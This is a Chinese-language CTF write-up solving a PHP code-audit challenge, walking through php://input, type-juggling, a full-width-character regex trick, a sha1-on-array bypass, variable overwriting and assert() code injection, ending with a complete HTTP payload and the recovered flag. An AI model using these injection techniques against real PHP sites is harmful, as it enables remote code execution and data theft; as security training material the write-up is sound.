一道代码审计题,看的我头痛【我的PHP实在是太菜了Orz。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| <?php
require_once('flag.php'); error_reporting(0);
if(!isset($_GET['msg'])){ highlight_file(__FILE__); die(); }
@$msg = $_GET['msg']; if(@file_get_contents($msg)!=="Hello Challenge!"){ die('Wow so rude!!!!1'); }
echo "Hello Hacker! Have a look around.\n";
@$k1=$_GET['key1']; @$k2=$_GET['key2'];
$cc = 1337;$bb = 42;
if(intval($k1) !== $cc || $k1 === $cc){ die("lol no\n"); }
if(strlen($k2) == $bb){ if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){ if($k2 == $cc){ @$cc = $_GET['cc']; } } }
list($k1,$k2) = [$k2, $k1];
if(substr($cc, $bb) === sha1($cc)){ foreach ($_GET as $lel => $hack){ $$lel = $hack; } }
$b = "2";$a="b";
if($$a !== $k1){ die("lel no\n"); }
assert_options(ASSERT_BAIL, 1); assert("$bb == $cc");
echo "Good Job ;)";
|
看到\(_GET['msg']**和**file_get_contents(\)msg)!=="Hello Challenge!"就知道需要使用php://input伪协议来POST一个Hello Challenge!绕过。
而intval($k1) !== $cc || $k1 === $cc就需要key1=1337。
后面的strlen($k2) == $bb,preg_match('/^$/', $k2) && !is_numeric(\(k2)**和**\$k2 == \$cc**需要注意的一点是**$**是全角字符而非半角字符,所以它会匹配**$**,而不是把它当做一个正则表达式来执行匹配规则【好大的坑,我当初手打的**\)在本地测试了半天。。。然后就是key2输入的字符串长度需要是42,而PHP的弱类型比较只会截取前面是数字的部分,后面包括$的部分会被截断,因此构造的是key2=1337%ef%bc%8411111111111111111111111111111111111。
然后交换k1和k2的值,并从\(cc**截取从**\)bb即42开始到末尾的长度的字符串,并与自身的sha1加密的值比较,这里只需要使得$cc是个数组就行了,数组sha1得到的值是null,而字符串截取到空也是null,得以绕过。
然后的**foreach ($_GET as $lel => $hack){$$lel = $hack;}会将传入的变量和值不用$_GET相应的变量就可以被创建赋值,接下来的一句,推测是用了那种Unicode控制字符使其倒序,正序结果是$b = "2";$a = "b";//b=1;。因此构造的是cc[]=42&k1=2**。
最后的assert_options(ASSERT_BAIL, 1);是开启断言语句失败的时候继续执行指令,然后assert可以通过注释后面的语句来造成命令执行,因此传入bb=var_dump($flag);//。
最后构造的Payload。
1 2 3 4 5 6 7 8 9 10 11
| POST /?msg=php://input&key1=1337a&key2=1337%ef%bc%8411111111111111111111111111111111111&cc[]=42&k1=2&bb=var_dump($flag);// HTTP/1.1 Host: arcade.fluxfingers.net:1819 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 16
Hello Challenge!
|
得到flag。
1 2
| Hello Hacker! Have a look around. string(38) "flag{7c217708c5293a3264bb136ef1fadd6e}"
|